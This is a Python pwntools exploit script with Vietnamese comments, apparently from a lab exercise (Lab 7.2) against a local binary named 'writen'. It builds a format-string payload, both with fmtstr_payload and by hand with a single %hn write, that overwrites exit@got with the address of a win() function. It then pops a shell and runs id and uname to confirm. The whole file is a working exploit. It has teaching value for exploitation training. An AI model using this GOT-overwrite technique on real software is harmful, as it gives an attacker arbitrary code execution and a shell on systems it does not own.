#!/usr/bin/env python3
# Lab 7.2: format string ghi %n -> ghi de GOT -> shell. Da kiem tren Ubuntu 24.04, glibc 2.39.
# Binary: writen (no-PIE, Partial RELRO, no canary, FORTIFY tat).
#
# Y tuong: main goi exit(0) qua PLT/GOT sau printf loi. Ta ghi de exit@got = &win.
#   win() goi system("/bin/sh"). Vi no-PIE nen &win va exit@got CO DINH (ASLR
#   khong dung toi vung binary) -> ghi thang, khong can leak.
#
# Co 2 cach ghi, ca hai deu da test ra shell:
#   METHOD = 'auto'   : pwntools fmtstr_payload (goi 1 lan, tu chia %hn/%hhn).
#   METHOD = 'manual' : tu tay 1 lenh %hn (vi win=0x401186, byte[2]=0x40 cua
#                        exit@got san co, chi can ghi 2 byte thap 0x1186).
from pwn import *

context.binary = e = ELF('./writen')
context.log_level = 'error'

OFFSET   = 6                       # vi tri chuoi cua ta tren stack (marker)
exit_got = e.got['exit']           # 0x404030
win      = e.sym['win']            # 0x401186
METHOD   = 'auto'

print('[*] exit@got = %#x , win = %#x , offset = %d' % (exit_got, win, OFFSET))

if METHOD == 'auto':
    payload = fmtstr_payload(OFFSET, {exit_got: win}, write_size='short')
    print('[*] fmtstr_payload (%d byte): %r' % (len(payload), payload))
else:
    # ghi 2 byte thap bang %hn: in win&0xffff ky tu roi %hn ghi so dem (2 byte)
    count = win & 0xffff
    fmt = ('%%%dc' % count).encode() + b'%8$hn'   # buf o pos6 -> dia chi o pos8 = buf+16
    fmt = fmt.ljust(16, b'A')
    payload = fmt + p64(exit_got)
    print('[*] manual %%hn (%d byte)' % len(payload))

io = process('./writen')
io.recvuntil(b'fmt> ')
io.sendline(payload)
io.recvuntil(b'hijacked bang %n write!')          # win() da chay
print('[+] win() da chay, dang trong shell')

io.sendline(b'echo ===PWNED_7_2===; id; uname -r; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out.strip())
assert 'uid=' in out and '===PWNED_7_2===' in out, 'FAIL: khong lay duoc shell'
print('[OK] ghi de exit@got -> win -> shell thanh cong')
